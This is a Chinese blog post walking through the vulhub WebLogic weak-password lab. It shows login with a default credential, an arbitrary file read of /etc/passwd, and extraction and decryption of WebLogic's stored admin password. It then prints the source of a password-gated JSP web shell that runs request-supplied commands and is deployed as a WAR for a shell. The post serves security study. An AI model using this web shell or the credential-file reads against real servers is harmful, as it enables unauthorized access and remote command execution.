weak-password-weblogic

 · 2020-6-28 · 次阅读


0x00前言

最近利用下班时间复现一下p神的靶场的漏洞(一个小伙伴强烈推荐)-vulhub

之前BUU其实也接触了一些,比如flask。现在从weblogic开始刷,因为小伙伴说这个实际遇到的比较多。

先从最简单的开始,由浅入深。

0x01weak_password

docker搭建的,命令:

docker-compose build
docker-compose up -d
最开始报错了:
RROR: Couldn't connect to Docker daemon at http+docker://localunixsocket - is it running?

If it's at a non-standard location, specify the URL with the DOCKER_HOST environment variable.
然后看报错,我重启了docker还是不行,上网搜索解决方案也还是没法。
最后docker ps -a觉得是不是自己开的docker镜像太多。
使用docker stop id 关掉几个镜像后成功创建。

docker创建成功如下图所示:

weak

第一个最简单,弱口令:weblogic/Oracle@123即可成功登陆后台。

不过今天师父告诉我不要小看弱口令,他们那个项目就是考弱口令才突破的。所以收集一些常用后台的弱口令有时候还是能发挥难以置信的作用。

当然在P神的wp中还添加了后续:

假设不存在弱口令,如何对weblogic进行渗透?

在这个环境中模拟了一个任意文件下载漏洞:

访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件:

etc

后续需要使用该漏洞读取用户密文和密钥文件:

以下抄一遍作业:

weblogic密码使用AES(老版3DES)加密,对称加密可解密,只需要找到用户的密文和加密时的密钥即可。这两个文件均处于base_domain下,名为SerializeSystemIni.dat和config.xml.

在这个docker环境中为:./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain

由于SerializedSystemIni.dat是一个二进制文件,直接使用浏览器下载会读取到一串乱码,因而使用BP会很方便。

dat

可以看到是乱码右键copy to file.

AES-key

接下来直接使用decrypt目录下的weblogic_decrypt.jar进行解密:

自己编译一个解密工具目前还无法做到)。

decrypt

这里一开始我是取的:SerializedSystemIni.dat。但是出现了不可预知的异常。

可能是文件名太长,出错了。因而改成了简单的1.dat

如图所示最终解密依然得到了正确的密码。

接下来就是后台getshell部分了。后面空闲时间接着做。

getshell

war简介:

war是一个可以直接运行的web模块。war包放置到web目录下之后,可以自动解压,就相当于发布了。
简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

war打包

linux下把文件打包成war的压缩包:

jar -cvf shell.war 1.jsp
1.jsp:
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

后台先点击左边的部署,然后到右边点击安装->然后点上载文件选择war上传->疯狂下一步:

然后如图设置路径为jsp这里是web根目录下新建一个目录:

jsp

然后直接下一步或者完成就可以验证了。

访问/jsp/1.jsp如图所示即可成功getshell:

getshell

参考链接:

weblogic常用弱口令:

gitee-P神文档,原版在github上,太慢了,gitee是随便找了一个人看的。

csdn老哥详细的后台getshell